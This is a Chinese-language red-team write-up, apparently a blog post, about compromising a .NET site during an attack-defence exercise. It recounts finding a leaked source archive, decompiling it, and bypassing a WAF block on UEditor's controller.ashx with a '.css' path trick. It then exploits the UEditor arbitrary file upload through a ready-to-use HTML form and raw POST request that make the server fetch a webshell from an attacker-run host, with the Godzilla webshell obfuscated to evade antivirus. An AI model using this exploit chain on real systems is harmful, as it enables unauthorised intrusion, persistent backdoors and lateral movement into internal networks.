前言

最近参与某次攻防演练,通过前期信息收集,发现某靶标单位存在某域名备案。

记某次攻防演练:大战UEditor并突破_渗透测试

通过fofa搜索子域名站点,发现存在一个子域名的61000端口开放着一个后台,于是开始进行渗透。

记某次攻防演练:大战UEditor并突破_攻防演练_02

目录扫描

进行目录扫描吗,发现/bin.rar路径可以访问到一个压缩文件。

记某次攻防演练:大战UEditor并突破_UEditor漏洞_03

使用下载器下载到电脑,打开压缩包,猜测内容为站点源代码,代码为.net形式,使用c#语言编写。

记某次攻防演练:大战UEditor并突破_攻防演练_04

C#代码经过编译后为dll文件形式,根据dll文件命名规则和.net类型代码格式。我们可以初步判定xxx.Application.Web.dll文件中存在主要的后端逻辑代码。

记某次攻防演练:大战UEditor并突破_攻防演练_05

但是dll为二进制文件我们无法直接查看,因此需要使用dnspy进行反编译查看。

查看方法:将dll文件丢入dnspy即可。

记某次攻防演练:大战UEditor并突破_UEditor漏洞_06

UEditor的曲折利用

在源码中发现该系统使用UEditor。

记某次攻防演练:大战UEditor并突破_UEditor漏洞_07

可得UEditor的路径/Utility/UEditor/controller.ashx

记某次攻防演练:大战UEditor并突破_渗透测试_08

访问关键接口/Utility/UEditor/?actinotallow=catchimage/Utility/UEditor/?actinotallow=config

然而服务器返回403无法访问。

记某次攻防演练:大战UEditor并突破_UEditor漏洞_09

记某次攻防演练:大战UEditor并突破_攻防演练_10

通过Fuzz发现403的原因是有可能是因为waf或者edr的拦截。

使用/Utility/UEditor/.css?actinotallow=catchimage可进行bypass,成功访问关键接口。

记某次攻防演练:大战UEditor并突破_渗透测试_11

接下来就是参考UEditor .net版本的任意文件上传漏洞进行上传哥斯拉jsp webshell。

漏洞利用参考链接:

 https://www.freebuf.com/vuls/181814.html

记某次攻防演练:大战UEditor并突破_攻防演练_12

上传过程中发现普通哥斯拉jsp webshell上传后就被杀软拦截无法访问。

于是用 https://github.com/Tas9er/ByPassGodzilla项目对webshell进行免杀处理。


方可成功上传webshell并进行连接,至此该UEditor站点利用完成,后面就是愉快的打内网。

记某次攻防演练:大战UEditor并突破_渗透测试_13

UEditor的简便利用

传统的UEditor利用都是本地编写一个html文件中包含一个表单,通过提交表单使目标服务器根据提交的图片马地址下载webshell。

<form action="http://xxxxxxxxx/controller.ashx?actinotallow=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
  <p>shell addr:<input type="text" name="source[]" /></p >
  <inputtype="submit" value="Submit" />
</form>
  • 1.
  • 2.
  • 3.
  • 4.

原理还是通过http请求发送图片马地址,所以直接在burpsuite发包也可以达到相同的效果,省去制作html文件的步骤。

POST /替换漏洞URL地址拼接/UEditor/controller.ashx?actinotallow=catchimage HTTP/1.1
Host: x.x.x.x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

source[]=http://替换为自己服务器开启http服务的URL地址/666.jpg?.aspx
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.

请求发送后,返回包返回webshell路径。

记某次攻防演练:大战UEditor并突破_攻防演练_14

总结

  1. UEditor作为热门常见漏洞,在大型企业集团中的.net老旧系统中非常常见,相关的利用方法以及绕过方法需要非常熟练,方可快人一步迅速拿下权限;
  2. 在渗透测试过程中,我们可能会遇到一些与实验环境或他人分享的情况不同的挑战。这时,我们需要具备排查问题原因的能力。例如,在利用漏洞的过程中,可能会遇到无法上传webshell或请求被WAF拦截等情况。我们需要根据场景,修改payload或使用fuzz等技术进行绕过,直到成功利用漏洞并获取所需的权限,完成渗透。大战UEditor并突破。